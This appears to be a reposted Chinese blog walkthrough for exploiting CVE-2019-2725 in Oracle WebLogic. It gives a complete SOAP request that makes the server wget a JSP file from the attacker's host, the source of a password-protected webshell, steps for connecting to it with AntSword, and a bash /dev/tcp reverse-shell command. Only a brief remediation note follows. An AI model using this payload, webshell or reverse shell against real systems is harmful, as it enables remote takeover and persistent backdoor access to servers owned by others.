Weblogic反序列化远程命令执行(CVE-2019-2725)

2023-12-28 19:48:16

漏洞描述:

CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞,这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过。

复现过程:

1.访问ip:port

2.可以访问

/_async/AsyncResponseService

,则存在漏洞

3.查看网站路径

/_async/AsyncResponseService?info

4.开启http服务

5.将GET改为POST,随后请求包部分除了第一行第二行保留,其他全部替换如下payload

POST /_async/AsyncResponseService HTTP/1.1

Host: ip:port

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: close

Content-Length: 841

Accept-Encoding: gzip, deflate

SOAPAction:

Accept: */*

User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

Connection: keep-alive

content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"

xmlns:asy="http://www.bea.com/async/AsyncResponseService">

<soapenv:Header>

<wsa:Action>xx</wsa:Action>

<wsa:RelatesTo>xx</wsa:RelatesTo>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

<void class="java.lang.ProcessBuilder">

<array class="java.lang.String" length="3">

<void index="0">

<string>/bin/bash</string>

</void>

<void index="1">

<string>-c</string>

</void>

<void index="2">

<string>wget http://ip:port/jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/1.jsp</string>

</void>

</array>

<void method="start"/></void>

</work:WorkContext>

</soapenv:Header>

<soapenv:Body>

<asy:onAsyncDelivery/>

</soapenv:Body></soapenv:Envelope>

6.使用payload上传jsp木马

Jsp源码,密码123456

<%!

????class U extends ClassLoader {

????????U(ClassLoader c) {

????????????super(c);

????????}

????????public Class g(byte[] b) {

????????????return super.defineClass(b, 0, b.length);

????????}

????}

????public byte[] base64Decode(String str) throws Exception {

????????try {

????????????Class clazz = Class.forName("sun.misc.BASE64Decoder");

????????????return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);

????????} catch (Exception e) {

????????????Class clazz = Class.forName("java.util.Base64");

????????????Object decoder = clazz.getMethod("getDecoder").invoke(null);

????????????return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);

????????}

????}

%>

<%

????String cls = request.getParameter("123456");

????if (cls != null) {

????????new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);

????}

%>


7.访问上传木马

8.蚁剑连接

9.反弹shell

9.1payload

bash -i >& /dev/tcp/target ip/target port 0>&1

这里>&需要转换,否则无法利用

例:

bash -i >& /dev/tcp/ip/9999 0>&1

9.2本机监听

修复建议:

1.升级本地JDK环境

2.及时安装官方补丁

文章来源:https://blog.csdn.net/m0_65150886/article/details/135246259
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。